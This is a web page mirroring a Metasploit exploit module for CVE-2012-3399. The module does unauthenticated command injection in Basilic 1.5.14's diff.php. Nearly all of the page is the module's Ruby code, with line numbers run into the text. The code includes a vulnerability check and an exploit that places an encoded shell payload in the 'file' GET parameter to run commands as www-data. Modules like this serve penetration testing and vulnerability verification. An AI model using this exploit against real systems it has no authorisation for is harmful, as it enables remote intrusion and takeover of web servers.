Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/basilic_diff_exec.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',13'Description' => %q{14This module abuses a metacharacter injection vulnerability in the15diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary16commands as the www-data user account.17},18'Author' =>19[20'lcashdollar',21'sinn3r',22'juan vazquez'23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2012-3399' ],28[ 'OSVDB', '83719' ],29[ 'BID', '54234' ]30],31'Platform' => %w{ linux unix },32'Arch' => ARCH_CMD,33'Privileged' => true,34'Payload' =>35{36'DisableNops' => true,37'Compat' =>38{39'PayloadType' => 'cmd',40'RequiredCmd' => 'generic perl ruby python telnet'41}42},43'Targets' =>44[45[ 'Automatic Target', { }]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2012-06-28'49))5051register_options(52[53OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])54])55end565758def check59base = normalize_uri(target_uri.path)6061sig = rand_text_alpha(10)6263res = send_request_cgi({64'uri' => normalize_uri("/#{base}/Config/diff.php"),65'vars_get' => {66'file' => sig,67'new' => '1',68'old' => '2'69}70})7172if res and res.code == 200 and res.body =~ /#{sig}/73return Exploit::CheckCode::Vulnerable74end7576return Exploit::CheckCode::Safe77end787980def exploit81print_status("Sending GET request...")8283base = normalize_uri(target_uri.path)8485res = send_request_cgi({86'uri' => normalize_uri("/#{base}/Config/diff.php"),87'vars_get' => {88'file' => "&#{payload.encoded} #",89'new' => '1',90'old' => '2'91}92})9394if res and res.code == 404 then95print_error("404 Basilic not installed or possibly check URI Path.")96else97vprint_line("Server returned #{res.code}")98end99100handler101end102end103104105